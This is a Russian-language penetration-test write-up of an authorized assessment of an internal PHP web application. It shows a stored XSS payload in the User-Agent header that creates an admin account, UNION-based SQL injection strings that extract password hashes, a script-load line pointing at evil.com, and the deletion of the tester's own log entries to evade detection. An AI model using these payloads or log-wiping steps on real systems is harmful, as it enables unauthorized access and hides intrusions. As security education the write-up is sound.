Я работаю в большой организации, и, как положено большой организации, у нас есть внутренние веб-приложения, которые реализуют довольно ответственную бизнес-логику. Именно о таком приложении мы сегодня и поговорим: проведем его анализ защищенности, найдем парочку уязвимостей и навсегда уясним, как не стоит хранить бэкапы. Сразу скажу, данное веб-приложение не имеет доступа в интернет и все найденные уязвимости уже устранены.

 

Разведка

Итак, приступим. Рабочая директория этого веб-приложения — /sflat/, и туда нас посылает заголовок Location в ответе сервера со статус-кодом 302 в случае обращения к корневой директории (рис. 1).

Рис. 1. Обращение к корневой директории
Рис. 1. Обращение к корневой директории

При обращении к этой директории происходит еще одно перенаправление на HTTPS-версию, которая использует самоподписанный сертификат (рис. 2).

Рис. 2. Перенаправление на HTTPS-версию сервиса
Рис. 2. Перенаправление на HTTPS-версию сервиса

Как видишь, сервер отвечает статус-кодом 302 и в ответе присутствует заголовок Set-Cookie, что небезопасно: при таком алгоритме выдачи идентификатора сессии его можно перехватить во время получения идентификатора по протоколу HTTP. Для этого достаточно просто реализовать MITM-атаку (встав посередине между клиентом и сервером) и прослушать трафик.
Но спешу тебя заверить: такой фокус не проходит, потому что, когда на HTTPS-версию сервиса обращаются с идентификатором, выданным ранее по HTTP, сервер не принимает данный идентификатор и еще раз выставляет заголовок Set-Cookie с новым идентификатором и такими же флагами.

И что такого в HTTPS-версии сервиса, как нам это помешает? А помешает нам это тем, что провести XSS-атаку с подгружаемым с HTTP-домена внешним скриптом не получится:

<script src="http://evil.com/evil.js"></script>

Если мы подгрузим такой скрипт с HTTP-домена, то более-менее современный браузер клиента ругнется на mixed content, не загрузит и не выполнит его (рис. 3).

Рис. 3. Блокировка HTTP-контента на сайтах, использующих HTTPS
Рис. 3. Блокировка HTTP-контента на сайтах, использующих HTTPS

Тогда у нас не остается выбора, кроме как подгружать внешний скрипт с HTTPS-домена, но самоподписанный сертификат тут не пройдет, и нам придется покупать сертификат.

Идем дальше. При обращении к директории /sflat/ запрос обрабатывает скрипт /sflat/index.php, который просит нас ввести свои учетные данные (они у нас есть, для теста на проникновение была предоставлена учетная запись с административными правами, тестируем методом серого ящика). Так выглядит страница аутентификации (рис. 4).

Рис. 4. Страница аутентификации
Рис. 4. Страница аутентификации

Первым делом начнем с того, что узнаем как можно больше об исследуемой системе, посмотрим на эту же страницу аутентификации в raw-формате (рис. 5).

Рис. 5. Код страницы аутентификации
Рис. 5. Код страницы аутентификации

Какие выводы мы можем сделать на данном этапе:

  1. Сервер не выдает информацию о себе. Мы видим, что это Apache, но не знаем, какой версии и в какой ОС он работает (заголовок Server можно изменить, так что полностью доверять ему не стоит).
  2. Значение заголовка Set-Cookie говорит нам о том, что PHPSESSID (сессионный идентификатор пользователя) должен передаваться только по протоколу HTTPS (флаг secure) и перехватить его, прослушивая трафик, не получится, как и получить его значение с помощью XSS (флаг HttpOnly), если, конечно, на сервере запрещен метод Trace. Ведь если метод Trace доступен, тогда возможно провести атаку XST и считать Cookie, даже если они защищены флагом HttpOnly.
  3. Заголовок CSP (Content Security Policy) не используется, а данная технология позволяет четко задать список ресурсов, с которых возможно загружать скрипты, стили, фреймы и прочее. Кстати, во второй версии CSP можно даже указать хеш-сумму скрипта, который может быть исполнен. Значит, все-таки стоит подумать об XSS.
  4. Объявлен тип строгого синтаксиса XHTML, поэтому забываем об атаке RPO (Relative Path Overwrite):

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" ... >

  5. Данное приложение использует библиотеку jQuery, а это значит, что XSS для нас сильно упрощается, так как мы можем использовать короткие и емкие методы jQuery (write less, do more — так вроде звучит их слоган), в случае если у нас будет ограниченный размер полезной нагрузки.
 

Атака на клиентов веб-приложения

Обычно тест на проникновение в таких закрытых системах я начинаю с проведения атак на клиентов, так как их защитой обычно пренебрегают. Но, как видно из первичного анализа, не стоит ожидать особо больших результатов при проведении атак на клиентов этого веб-приложения.

 

XSS

При упоминании атак на клиентов первое, что приходит в голову, — это XSS-атаки, которые существуют благодаря недостаточному или полному отсутствию фильтрации вывода данных на страницу.

Как правило, одна из основных целей XSS атак — это угон сессий. Узнаем, сможем ли мы украсть PHPSESSID. Исходя из того, что мы уже знаем, у нас есть шанс украсть данный идентификатор, только если метод Trace доступен на сервере.

Рис. 6. Запрос методом Trace
Рис. 6. Запрос методом Trace

Как видно из рис. 6, сервер запрещает использование метода Trace, так что мы забываем об атаке XST и пока что забываем об XSS.

 

CSRF

Следующее важное звено в атаках на клиентов — это CSRF. Ситуация та же: все важные формы защищены с помощью CSRF-токена. Но данный токен выдается один раз на всю сессию пользователя, и, что самое интересное, разработчики с помощью JavaScript могут получить его значение — а если они могут, то и мы сможем (рис. 7).

Рис. 7. Получение значения CSRF-токена в исходном коде страницы
Рис. 7. Получение значения CSRF-токена в исходном коде страницы
 

Проведение атаки

Итак, что у нас есть на данный момент: мы можем получить значение CSRF-токена, который не протухает в течение всей пользовательской сессии, с помощью XSS. Осталось только ее найти. Что я только не делал, как только не пробовал инъектировать client-side код в выводимые пользователю страницы, как много времени у меня ушло на поиск отраженных XSS, но ничего не выходило!

Однако через некоторое время я натолкнулся на интересную вкладку под названием «История изменений» (рис. 8).

Рис. 8. Вкладка «История изменений»
Рис. 8. Вкладка «История изменений»

В этой вкладке ведется история всех изменений в сервисе, но, кроме того, в историю записываются факты аутентификации: кто, когда, с какого IP-адреса и с каким User-Agent зашел (рис. 9).

Рис. 9. Сохранение в истории факта входа пользователя в систему
Рис. 9. Сохранение в истории факта входа пользователя в систему

А существует ли фильтрация строки User-Agent? Проверим это с помощью дополнения Modify Headers. Изменим User-Agent браузера, в качестве наиболее короткого примера выберем строку User-Agent для браузера Internet Explorer в Windows XP: Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) — всего 46 байт, а в качестве проверки на наличие фильтров добавим к данной строке следующее:

<script>console.log(document.cookie)</script>

Данный скрипт выведет в консоль браузера текущие Cookie пользователя. Мы специально не пользуемся функциями alert и prompt, поскольку они могут нас скомпрометировать, когда администратор сервиса будет просматривать вкладку «История изменений». Получаем еще 45 байт, итого 91 байт полезной нагрузки. Так выглядит получившийся User-Agent в Modify Headers (рис. 10).

Рис. 10. Строка User-Agent в Modify Headers
Рис. 10. Строка User-Agent в Modify Headers

А теперь проверим, фильтрует ли приложение строку User-Agent. Для этого заново проходим аутентификацию в сервисе с уже измененным значением заголовка User-Agent, открываем консоль браузера и переходим во вкладку «История изменений» (рис. 11).

Рис. 11. Проверка фильтрации строки User-Agent
Рис. 11. Проверка фильтрации строки User-Agent

Как видим, в консоли браузера появилось значение CSRF-TOKEN=…, а это значит, что наша полезная нагрузка отработала, при этом строка в истории говорит о том, что пользователь просто вошел в систему с использованием браузера Internet Explorer в Windows XP.

Итого на данный момент получаем следующее: хранимая XSS с условием, что злоумышленник пройдет аутентификацию, а администратор просмотрит историю изменений. Не так уж и плохо!

Теперь придумаем коварную полезную нагрузку. Первое, что приходит в голову, — создать нового администратора в приложении. Что для этого нужно:

  1. Пользователь с административными правами в сервисе должен просмотреть строку в истории изменений, в которой будет содержаться наша полезная нагрузка.
  2. Нам необходимо узнать спецификацию запроса на добавление нового пользователя с административными правами.
  3. Размер полезной нагрузки не должен превышать длины буфера, который используется для вывода строки User-Agent.

Длину буфера, который хранит строку с User-Agent, мы не знаем, а чтобы узнать, нам придется отправить длинную строку в заголовке User-Agent на этапе аутентификации в приложении, что нас сразу же выдаст, если администратор просмотрит историю. Раз мы не можем узнать длину буфера, просто ориентируемся на минимальный объем полезной нагрузки, который только получится.

Административные права в приложении у нас есть, так как нам предоставлена админская учетная запись в целях тестирования, а спецификацию запроса сейчас узнаем. Для этого попробуем создать пользователя и перехватим запрос к серверу с помощью Burp Suite (рис. 12).

Рис. 12. Запрос на добавление нового пользователя
Рис. 12. Запрос на добавление нового пользователя

Теперь есть все необходимое для создания полезной нагрузки на JavaScript, которая создаст нового администратора в сервисе:

  1. В запросе на добавление пользователя присутствует значение CSRF-токена (второй параметр в теле POST-запроса), данное значение мы можем получить из document.cookie, удалив первые 11 байт: t=document.cookie.substr(11);.
  2. Необходимо отправить POST-запрос, для этого к нам на помощь придет jQuery c методом POST: $.post("/sflat/add.php","mode=add_user&csrf="+t+"...")

В общем, User-Agent будет выглядеть так:

Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)<script>t=document.cookie.substr(11);$.post("/sflat/add.php","mode=add_user&csrf="+t+"...");</script>

Перехватываем в Burp Suite запрос на аутентификацию в сервисе и подменяем User-Agent (рис. 13).

Рис. 13. Подмена User-Agent в Burp Suite
Рис. 13. Подмена User-Agent в Burp Suite

Как видишь, данный запрос должен создать администратора сервиса с именем А, логином АB (ограничение приложения: логин должен содержать от 2 до 20 символов) и паролем А.

Проверим, работает ли наша полезная нагрузка. Для этого опять перейдем во вкладку «История изменений» и откроем вкладку «Network» в консоли браузера, чтобы убедиться, что браузер отправляет POST-запрос на добавление пользователя (рис. 14).

Рис. 14. Отправка запроса на добавление пользователя
Рис. 14. Отправка запроса на добавление пользователя

Запрос был успешно отправлен браузером (получен статус-код 200), а так как наша учетная запись имеет административные права, то новый пользователь был успешно создан. Попробуем аутентифицироваться с новыми учетными данными (рис. 15).

Рис. 15. Аутентификация
Рис. 15. Аутентификация
Рис. 16. Аутентификация пройдена
Рис. 16. Аутентификация пройдена

И у нашей новой учетной записи административные права. Цель достигнута (рис. 17)!

Рис. 17. Список пользователей сервиса
Рис. 17. Список пользователей сервиса
 

Результат № 1

С атаками на пользователей закончим. Итого в сухом остатке следующий вектор: внутренний злоумышленник с минимальными правами в сервисе может получить к нему административный доступ через хранимую XSS в строке User-Agent при прохождении аутентификации в сервисе, данная XSS сработает тогда, когда администратор просмотрит историю изменений. Для оценки найденных уязвимостей мы используем систему оценки CVSS второй версии. Да, да, ты говоришь: уже есть третья версия, почему вы используете устаревшую? Но мы к ней привыкли :). Кстати, если тебе интересно, как оценить найденную уязвимость, то можешь воспользоваться этим сайтом или этим.

Вектор CVSS v2: (AV:N/AC:H/Au:S/C:C/I:C/A:C), базовая оценка: 7.1.
 

Атака на сервер

А мы продолжим. Теперь займемся сервером и углубим нашу разведку. Сперва узнаем установленную ОС. Для этого воспользуемся всем известным средством сетевого сканирования Nmap. Из результатов сканирования видим, что веб-приложение работает на ОС Windows и, кроме 80-го и 443-го портов, открыт еще и 5432-й (СУБД PostgreSQL).

Говорить про поиск поддоменов и виртуал-хостов особого смысла нет, так как системы подобного рода строятся по принципу один сервер = одно приложение. Но никто нам не мешает поискать бэкапы, оставленные заботливыми администраторами в доступной для нас директории (Google Hacking Database (GHDB) нам не поможет, так как система не выходит в интернет). Для того чтобы пройтись по приложению и сбрутить имена файлов и директорий, воспользуемся утилитой DirBuster. Брут также интересных результатов не дал. Да... Негусто:

  1. ОС: Windows.
  2. Web server: Apache.
  3. DBMS: PostgreSQL.
  4. Backend: PHP.
 

SQLi

Идем дальше. Проверим наше веб-приложение на наличие SQLi. Потеряв большое количество времени и использовав все возможные фокусы при инъекциях в строковые параметры, я все-таки перешел к числовым — и не зря.

Рис. 18. Запрос с числовым параметром
Рис. 18. Запрос с числовым параметром

Протестируем параметр id в POST-запросе на выдачу информации об управлении. Как видно из рис. 18, в базе данных содержится управление с именем «Тестовые данные» и номером 417. Теперь попробуем запросить управление с номером 418-1 (рис. 19).

Рис. 19. Проверка на SQLi
Рис. 19. Проверка на SQLi

Выражение 418-1 выполнилось, и сервер вернул имя управления с номером 417, но при этом инъекции в строковый параметр не проходят, а это значит, что, скорее всего, санитизация входящего параметра проводится, а вот типизация и валидация — нет, поэтому SQLi есть.

Для дальнейшей атаки с помощью UNION-запроса необходимо определить количество и формат полей в запросе, в параметр которого происходит инъекция. Для этого в параметр подставим неверный идентификатор управления, например -1, и будем перебирать количество полей с использованием значения null, так как данное значение возможно выводить и со строковыми параметрами, и с числовыми. Также для определения количества полей в запросе можно воспользоваться оператором GROUP BY, но это уже кому как больше нравится.

Рис. 20. Проверка количества параметров выборки
Рис. 20. Проверка количества параметров выборки

Как видно из рис. 20, в запросе осуществляется выборка по трем полям: первое — числовое, второе и третье — строковые.

Во время тестирования удалось определить следующее:

  1. На страницу сервер выводит результат выборки по первым двум полям.
  2. Происходит санитизация кавычек и знака точка с запятой.

При санитизации для UNION-запросов с условием (WHERE), где необходимо сделать сравнение со строкой, будем пользоваться функциями concat и CHR: первая соединяет символы или подстроки в одну строку, вторая позволяет выводить ASCII-символы по их номеру.

Попробуем узнать с помощью SQLi побольше информации: версию СУБД, текущего пользователя и базу данных (рис. 21).

Рис. 21. Вывод информации
Рис. 21. Вывод информации

А сейчас попытаемся узнать пароль или хеш пароля администратора веб-приложения. Чтобы это сделать, необходимо выполнить такой запрос:

-1 UNION SELECT 1,password,null FROM users WHERE login=‘admin’

В условиях санитизации кавычек запрос будет выглядеть так:

-1 UNION SELECT 1,password,null FROM users WHERE login=concat(CHR(97),CHR(100),CHR(109),CHR(105),CHR(110)).
Рис. 22. Получение пароля администратора
Рис. 22. Получение пароля администратора

Хеш пароля администратора мы получили (рис. 22), но при этом алгоритм хеширования восстановить не удалось. Единственное, что можно предположить исходя из длины хеша, — это то, что алгоритм хеширования, возможно, имеет вид

sha512(salt + md5(md5(password))).
 

Результат № 2

У нас есть еще один вектор: внутренний злоумышленник, имеющий аутентификационные данные и минимальные права в приложении, может провести атаку SQLi на базу данных веб-приложения и считать из нее все данные.

Вектор CVSS v2: (AV:N/AC:H/Au:S/C:C/I:N/A:N), базовая оценка: 4.9.

SQLi в числовой параметр в условиях санитизации одинарных кавычек и знака точка с запятой значит, что данные мы считать сможем, докуда дотянемся, а вот INSERT- или UPDATE-запросы сделать не получится. Это, конечно, не манипулирование пользователями сервиса или shell, но хоть что-то.

 

Дальнейшие пути развития

В нашей статье при атаке на сервер используется только SQLi, но не стоит забывать и о таких атаках, как RFI, LFI или XXE. И еще: если после сетевого сканирования ты точно знаешь версии сервисов, то обязательно посмотри, есть ли на них публичные эксплоиты, — ведь это стоит на 9-м месте в OWASP top 10.

 

Бэкап

После того как я потратил еще какое-то количество времени на поиск server-side-уязвимостей, мне вдруг пришла одна очень интересная мысль: если рабочая директория сервиса называется sflat, то, может, ее бэкап тоже называется sflat? Мысль оказалась верной. В корневой директории сервера находился архив sflat.rar (рис. 23)!

Рис. 23. Архив с бэкапом приложения
Рис. 23. Архив с бэкапом приложения

В архиве содержался исходный код приложения, находящийся в рабочей директории проекта (рис. 24).

Рис. 24. Листинг архива
Рис. 24. Листинг архива

При анализе исходников были найдены две учетные записи для доступа к СУБД (рис. 25).

Рис. 25. Учетные данные для подключения к СУБД
Рис. 25. Учетные данные для подключения к СУБД

Пользователи rХХХХХХa, eХХХХХХa и пароли к ним в открытом виде. Удаленное подключение к базе данных результатов не дало (рис. 26).

Рис. 26. Прямое подключение к СУБД
Рис. 26. Прямое подключение к СУБД

Судя по ответу СУБД, можно сделать вывод о том, что удаленное подключение возможно только с доверенных IP-адресов.

 

Подготовка к атаке

При дальнейшем анализе исходных кодов была обнаружена директория /sflat/slov/ со служебными скриптами (рис. 27).

Рис. 27. Листинг служебной директории
Рис. 27. Листинг служебной директории

В этой служебной директории находился один очень интересный скрипт — stepenrod.php:

<?php
  header('Content-Type: text/html; charset=utf-8');
  if ($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') {
    if ($_GET['q']) {

      include('./../include/connect.php');
      include('./../include/func.php');

      $sql = "SELECT id, text FROM dict.relation WHERE LOWER(text) LIKE '" . strtolower_cyr($_GET['q']) . "%'";
      $res = pg_query($sql);
      if (!$res) die('Invalid query: ' . pg_result_error());
      $output = "";
      while ($f = pg_fetch_array($res)) {
        $output .= "|" . $f['id'] . "|" . $f['text'] . "\n";
      }

      //header('Content-Type: text/html; charset=utf-8');
      echo $output;
    }
  }
?>

Как видно из кода, для обращения к данному скрипту необходимо выставить заголовок запроса X-Requested-With со значением XMLHttpRequest. На вход данный скрипт принимает GET-параметр с именем q и производит SELECT-запрос к базе данных, при этом входной параметр не фильтруется. Данный недостаток позволяет произвести атаку SQLi.

 

Определение спецификации запроса на добавление пользователя

Дальнейший анализ исходных кодов выявил, что в скрипте add.php содержится спецификация запроса на создание нового пользователя (рис. 28). Имя и тип столбцов в таблице users возможно узнать также и с помощью SQLi, но частые обращения к одному и тому же скрипту и SQLi в GET-параметре могут привести к компрометации исследователя, поэтому при наличии исходного кода лучше пользоваться им.

Рис. 28. Спецификация запроса на добавление пользователя
Рис. 28. Спецификация запроса на добавление пользователя

После определения необходимых полей INSERT-запроса для создания пользователя необходимо определить их валидные значения. Для этого сделаем выборку данных значений по существующему пользователю с помощью инъекции, основанной на UNION-запросе. В качестве имени пользователя выберем значение admin (рис. 29).

Рис. 29. Выборка всех полей таблицы users пользователя admin
Рис. 29. Выборка всех полей таблицы users пользователя admin
 

Определение алгоритма хеширования пароля

Как видишь, в INSERT-запросе нет поля password, но при выборке данное поле доступно, и там расположен хеш пароля. Для определения алгоритма хеширования также воспользуемся имеющимся исходным кодом. Для этого заглянем в скрипт add.php, в котором и определен алгоритм хеширования пароля (рис. 30).

Рис. 30. Алгоритм хеширования пароля
Рис. 30. Алгоритм хеширования пароля

При этом мы знаем, что к бэкенду пароль в открытом виде не приходит. Он хешируется на стороне клиента с помощью JavaScript и отправляется в формате md5(md5(password)) (рис. 31).

Рис. 31. Хеширование пароля на стороне клиента
Рис. 31. Хеширование пароля на стороне клиента

В итоге получаем следующий алгоритм хеширования пароля:

sha512(id_user + md5(md5(password)))

Таким образом, у нас есть вся необходимая информация для создания нового пользователя в веб-приложении без прохождения аутентификации.

 

Создание пользователя

А теперь попробуем создать пользователя с логином sqli, именем The_SQL_injection_Bypass и административным доступом к системе (рис. 32).

Рис. 32. Запрос на создание пользователя
Рис. 32. Запрос на создание пользователя

Затем проверим, что пользователь создан, и узнаем его ID (рис. 33).

Рис. 33. Получение ID нового пользователя
Рис. 33. Получение ID нового пользователя
 

Генерация хеша пароля для нового пользователя

Пользователь создан, его ID 8de553f1-db73-4f03-84ca-a5bc2ca8fdab, для генерации валидного хеша пароля был написан небольшой скрипт create_pass.php (прошу извинить за #говнокод):

<?php
  echo "<!DOCTYPE html>\n";
  echo "<html><head></head><body>\n";
  $id_user = $_GET['id_user'];
  echo "user_id: ".$id_user."<br/>\n";
  $password = $_GET['password'];
  echo "password: ".$password."<br/>\n";
  $hash_password = hash('md5', hash('md5', $password));
  echo "md5(md5(password)): ".$hash_password."<br/>\n";
  $hash = hash( 'sha512',$id_user.$hash_password);
  echo "sha512(md5(md5(user_id + password))): ".$hash."<br/>\n";
  echo "</body></html>\n"
?>

Создаем нашему пользователю c ID 8de553f1-db73-4f03-84ca-a5bc2ca8fdab хеш для пароля sqli (рис. 34).

Рис. 34. Получение хеша для пароля sqli
Рис. 34. Получение хеша для пароля sqli

И обновляем хеш пароля для нашего пользователя (рис. 35).

Рис. 35. Обновление пароля для нового пользователя
Рис. 35. Обновление пароля для нового пользователя
 

Проверка

Чтобы проверить, что все получилось, входим в систему с логином sqli и паролем sqli (рис. 36).

Рис. 36. Аутентификация в сервисе
Рис. 36. Аутентификация в сервисе

Как видно из рис. 37, аутентификация успешно пройдена.

Рис. 37. Аутентификация пройдена
Рис. 37. Аутентификация пройдена

После входа система отобразила заданное при создании имя: «Пользователь: The_SQL_injection_Bypass».

 

Мысли вслух

Ты спросишь: если у тебя есть не ограниченная санитизацией, типизацией и валидацией SQLi к базе данных сервера, то почему бы тебе просто не выложить shell или сдампить файлы? Ответ прост: пользователь СУБД, из-под которого была проведена данная SQLi, не обладает правами на доступ к файловой системе.

 

Удаление действий из лога

После того как мы вошли в систему и вышли из нее с учетной записью sqli, наши действия попали в лог. Манипулировать записями в логе также возможно с помощью найденной SQLi. Для начала выведем активность пользователя sqli, выборка осуществляется также на основе айдишника: 8de553f1-db73-4f03-84ca-a5bc2ca8fdab (рис. 38).

Рис. 38. Вывод журнала действий пользователя sqli
Рис. 38. Вывод журнала действий пользователя sqli

В логах видно, что пользователь sqli вошел в систему и вышел из нее. Такие данные нам в базе ни к чему 🙂 (рис. 39).

Рис. 39. Удаление из журнала действия пользователя sqli
Рис. 39. Удаление из журнала действия пользователя sqli

Ну и наконец, проверим, что записи удалены (рис. 40).

Рис. 40. Журнал действий пользователя sqli пуст
Рис. 40. Журнал действий пользователя sqli пуст
 

Вывод

Как видишь, благодаря небрежному хранению бэкапа приложения у нас появился еще один вектор с довольно большой базовой оценкой CVSS: внутренний злоумышленник, имеющий сетевую связность с сервером, на котором крутится данное веб-приложение, и не обладающий аутентификационными данными, может провести атаку SQLi на базу данных приложения. В том числе добавить, изменить или удалить пользователей приложения, кроме того, удалить лог своих действий из базы данных, что позволит ему избежать обнаружения и значительно затруднит расследование инцидента.

Вектор CVSS v2: (AV:N/AC:H/Au:N/C:C/I:C/A:C), базовая оценка: 7.6.

INFO


Если хочешь поподробней разобраться с описанными атаками, рекомендую прочитать следующие вещи:

XSS
SQLi
XST
CSRF

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    7 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии